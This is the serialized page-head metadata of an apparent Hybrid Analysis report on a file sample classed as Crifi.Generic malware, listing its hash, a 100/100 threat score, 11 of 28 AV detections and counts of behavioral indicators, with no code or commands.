Crifi.Generic Sample 7644ab6a3459… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 7644ab6a3459…. Malware family: Crifi.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 6 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/7644ab6a34591b55e252def550ca92fdf2fc4d34d424aca6ea41150fedf6b108"}],["$","meta","4",{"property":"og:title","content":"Malicious Crifi.Generic Sample 7644ab6a3459… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 7644ab6a3459…. Malware family: Crifi.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 6 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/7644ab6a34591b55e252def550ca92fdf2fc4d34d424aca6ea41150fedf6b108"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Crifi.Generic Sample 7644ab6a3459… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 7644ab6a3459…. Malware family: Crifi.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 6 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L54","11",{}]]